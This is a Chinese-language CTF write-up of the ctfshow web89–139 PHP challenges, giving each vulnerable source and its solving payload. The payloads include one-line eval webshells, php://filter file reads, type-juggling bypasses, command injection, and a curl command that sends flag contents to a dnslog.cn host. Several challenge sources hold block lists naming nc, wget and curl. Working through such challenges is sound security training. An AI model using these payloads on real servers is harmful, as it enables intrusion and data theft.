web89 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
限制了参数中不能有数字字符,当函数 intval
参数为非空数组时值为 1,构造数组绕过。 payload: ?num[]=1
web90 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
intval
函数扫描参数字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换,并将结果返回。 这里用 4476xxx 或 0x117c 都能绕过。 payload: 4476a
web91 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php show_source (__FILE__ );include ('flag.php' );$a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } } else { echo 'nonononono' ; }
感觉不是 php 特性,只考了正则的 flag 不同匹配的文本不同。 payload: ?cmd=ph%0Aphp
web92 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
第一个 if($num==4476)
,会强制按十进制(默认)转换 $num
为数字再进行比较,第二个 if(intval($num,0)==4476)
中 intval
函数第二个参数为 0 会检测字符串格式判断要转换的进制。所以这里传十六进制或八进制就能绕过。 payload: ?num=0x117c payload: ?num=010574
web93 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
相比上一题禁用了字母,也就不能用十六进制了,八进制绕过。 payload: ?num=010574
web94 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
参数第一个字符为 0 会触发 die,八进制可以前缀 + 绕过。还可以用浮点数绕过,不过还是要带 0 不然这个 if 还是 true。 payload: ?num=4476.20
payload: ?num=+010574
web95 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
正则禁用了小数点,还能用八进制绕过。 payload: ?num=+010574
web96 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
hightlight_file 可以伪协议读取文件 payload: ?u=php://filter/convert.base64-encode/resource=flag.php
web97 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;} ?>
md5 函数传 array 会返回 NULL,此时 if (md5($_POST['a']) === md5($_POST['b']))
处 NULL === NULL。 a 和 b 传两个不同的数组绕过 if ($_POST['a'] != $_POST['b'])
。 payload: a[]=1&b[]=2
web98 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );?>
考察三元表达式,读题构造 payload,没有绕过 url: ?a=1
body: HTTP_FLAG=flag
web99 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); } ?>
in_array 函数的第三个参数 $strict 默认为 false,不会对类型进行检查。这就导致 "20.php"
和 "20"
都可以是 20
,从而绕过限制上传一句话。 url: ?n=30.php
body: content=<?php @eval($_POST[1]);
web100 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
由运算符优先级表 可知 =
的优先级比 and
要高,所以这里 $v0 的赋值可以看成是 ($v0=is_numeric($v1)) and (is_numeric($v2)) and (is_numeric($v3));
,只要 $v1 为数字就可以过 if($v0)
。;
可以用 ?>
代替,就可以随便操作了。 payload: ?v1=1&v2=eval($_POST[1])?>&v3=;
web101 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
修复了非预期,就让你一定要用反射 payload: ?v1=1&v2=echo new ReflectionClass&v3=;
web102 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); } ?>
is_numeric 在 php5 中可以把十六进制数字符串识别成数字,但题目的环境是 php7,用不了。 这里需要 $v2 是纯数字的十六进制数(带 e 的科学计数法也可以),hex2bin 再伪协议 base64-decode 写入即可。 url: ?v3=php://filter/write=convert.base64-decode/resource=test.php&v2=225044383959474e6864434171594473
body: v1=hex2bin
web103 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; if (!preg_match ("/.*p.*h.*p.*/i" ,$str )){ file_put_contents ($v3 ,$str ); } else { die ('Sorry' ); } } else { die ('hacker' ); } ?>
和上一题差不多,增加了对 $str 字符串的正则过滤,上题 payload 一把梭 url: ?v3=php://filter/write=convert.base64-decode/resource=test.php&v2=225044383959474e6864434171594473
body: v1=hex2bin
web104 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 )){ echo $flag ; } } ?>
要求输入两个值,他们的 sha1 值相同,却没对这两个值做任何限制,甚至直接输入两个一模一样的值都可以过,这是在考 get 和 post 传参吗???
web105 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($error ); } echo "your are good" .$flag ."\n" ;die ($suces );?>
变量覆盖,$flag -> $suces -> $error -> 输出 url: ?suces=flag
body: error=suces
web106 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } } ?>
sha1 和 md5 一样都可以用 array 绕过,NULL == NULL && array(1) != array(2) url: ?v2[]=2
body: v1[]=1
web107 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } } ?>
考察 parse_str 函数,有第二个参数以数组的形式存在第二个变量中,$v2 为将 v1 作为 url 参数解析后的结果。 要求参数中 flag 的值与 $v3 的 md5 哈希值相同,故构造 payload url: ?v3=1
body: v1=flag=c4ca4238a0b923820dcc509a6f75849b
web108 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; } ?>
ereg 函数存在 00 截断漏洞,0x36d 十进制为 877,strrev 后应为 778,故构造 payload payload: ?c=aa%00778
web109 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } } ?>
本身没什么过滤,正则完全就是摆设。第一个参数随便找个类初始化一下,第二个闭合一下参数然后一句话连蚁剑 payload: ?v1=DirectoryIterator&v2=".");eval($_POST[1]);//
web110 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); } ?>
FilesystemIterator 和 DirectoryIterator 在 php:5.6 被 echo 输出时都会输出第一个目录,但在 php:7 中 DirectoryIterator 只会输出 “..”。 这里利用 FilesystemIterator 和 getcwd 获取目录下按字母排序第一个文件名,访问这个 txt 获取 flag。 payload: ?v1=FilesystemIterator&v2=getcwd
web111 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } } ?>
正则要求 v1 写死 ctfshow,利用全局变量变量 GLOBALS 获取 flag 变量的值。 payload: ?v1=ctfshow&v2=GLOBALS
web112 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
正则禁用了一些协议和 filter,去掉 filter 也可以用 php://filter 读文件 payload: ?file=php://filter/resource=flag.php
web113 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
在 linux 中 /proc/self/root 是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root 其实显示的内容是根目录下的内容 多次重复后绕过is_file
这里可以利用 /proc/self/root 绕过 is_file,也可以用没过滤的 compress.zlib:// 读文件。 payload: ?file=compress.zlib://flag.php
payload: ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
数了下是21个
web114 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting (0 );highlight_file (__FILE__ );function filter ($file ) { if (preg_match ('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];echo "师傅们居然tql都是非预期 哼!" ;if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
禁用了上一题的两种方法,重新拿起老方法一把梭 payload: ?file=php://filter/resource=flag.php
web115 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php include ('flag.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } $num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
在数字前加空格也会被 is_numeric 识别为数字,trim 过滤空格不会过滤 \f(%0c) payload: ?num=%0c36
web123 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
isset($_POST['CTF_SHOW.COM'])
要求填写一个带英文句号的参数,但这是 php 不允许的,空格、[
和 .
都会被替换成下划线 _
,但如果先有一个 [
被替换成下划线,接下来后面的空格、[
和 .
都不会被替换,有点意思。$c
被加了一大串正则限制,这里经测试 CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $a
可以看到输出是 Array,说明 php.ini
中开启了配置 register_argc_argv
,那么 $a[0]
就是 GET 参数字符串,测试 CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $a[0]
验证了猜想,那么就可以通过 eval($a[0])
绕过正则和长度限制。 url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])
web125 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } } ?>
相比上题增加了一些正则的过滤,不过不影响我们用上一题的 payload 一把梭。 url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])
web126 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
一把梭 url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])
web127 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } } if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); } if ($ctf_show ==='ilove36d' ){ echo $flag ; }
需要变量覆盖 $ctf_show
但正则禁用了 _
、[
和 .
,只能用空格。 payload: ?ctf show=ilove36d
web128 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check ($f1 )){ var_dump (call_user_func (call_user_func ($f1 ,$f2 ))); }else { echo "嗯哼?" ; } function check ($str ) { return !preg_match ('/[0-9]|[a-z]/i' , $str ); }
禁用了所有数字和字母,不过还有 gettext
函数的 _
没有被禁用,该函数可以原样返回输入的字符串。 接下来第二层 call_user_func
调用的就是 $f2
传入的字符串对应的函数,get_defined_vars
函数可以返回作用域中定义的所有变量,其中就包括了 $flag
。 payload: ?f1=_&f2=get_defined_vars
web129 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos ($f , 'ctfshow' )>0 ){ echo readfile ($f ); } }
if(stripos($f, 'ctfshow')>0)
要求参数 $f
包含字符串 ctfshow
,这里目录穿越绕过。 payload: ?f=php://filter/convert.base64-encode/resource=./ctfshow/../flag.php
web130 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
这过滤了个寂寞 payload: f=ctfshow
web131 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
正则存在最大回溯限制 ,触发就可以让 preg_match
直接返回 false
,从而绕过限制。
1 2 3 4 5 import requestsurl = "http://9924c6cf-8dd7-45d8-8c19-a2b887d66765.challenge.ctf.show:8080/" print (requests.post(url, data={"f" : "very" *250000 +"36Dctfshow" }).text)
web132 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
访问 /robots.txt
后看到 Disallow: /admin
,更改地址栏为 /admin
重新访问会发现端口被去掉返回了 404,重新加上端口即可得到源码。 考察运算符优先级 ,其中 &&
的优先级高于 ||
,故 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
中只需要 $username==="admin"
即可满足。 payload: ?username=admin&password=a&code=admin
web133 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } }
被 substr 后 eval 的部分还可以 eval 没被 substr 的 $F
,就可以绕过了。具体展开如下:
1 2 3 $F = @$_GET ['F' ]; substr ($F , 0 , 6 ); eval (substr ($F , 0 , 6 ));
于是就可以 dnslog 带出 flag。
1 payload: ?F=`$F`; curl `cat flag.php|sed s/[[:space:]]/xx/g`.xxxxxx.dnslog.cn
web134 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]); extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
考察变量覆盖,if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2']))
限制 GET 和 POST 参数都不能有 key1
和 key2
,这两个变量是后面 if($key1 == '36d' && $key2 == '36d')
要满足的。因为有两次变量覆盖,而且前面的 if 是在覆盖操作之前,所以可以通过覆盖第二个变量覆盖的参数来间接覆盖 key1
和 key2
。 payload: ?_POST[key1]=36d&_POST[key2]=36d
web135 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("师傅们居然破解了前面的,那就来一个加强版吧" ); } }
和 133 题不同的是,这次禁用了 curl
和 cat
,却放开了写文件,反而更简单了。
1 payload: ?F=`$F`; mv flag.php 1.txt
web136 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
正则禁用了 >
,可以用 |tee
代替。 payload1: ?c=ls /|tee 1
payload2: ?c=cat /f149_15_h3r3|tee 2
web137 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } call_user_func ($_POST ['ctfshow' ]);
PHP call_user_func on a static method
1 2 $class = '\\MyBundleNamespace\\MyClass'; $method = 'myFunction';
Both calls should work:
1 2 call_user_func("$class::$method"); call_user_func(array($class, $method));
payload: ctfshow=ctfshow::getFlag
payload: ctfshow[]=ctfshow&ctfshow[]=getFlag
web138 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func ($_POST ['ctfshow' ]);
禁用了 :
,还可以以数组的形式传参。 payload: ctfshow[]=ctfshow&ctfshow[]=getFlag
web139 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );function check ($x ) { if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; check ($c ); exec ($c ); } else { highlight_file (__FILE__ ); } ?>
屏蔽了不少东西,exec
没有回显,写个脚本盲注
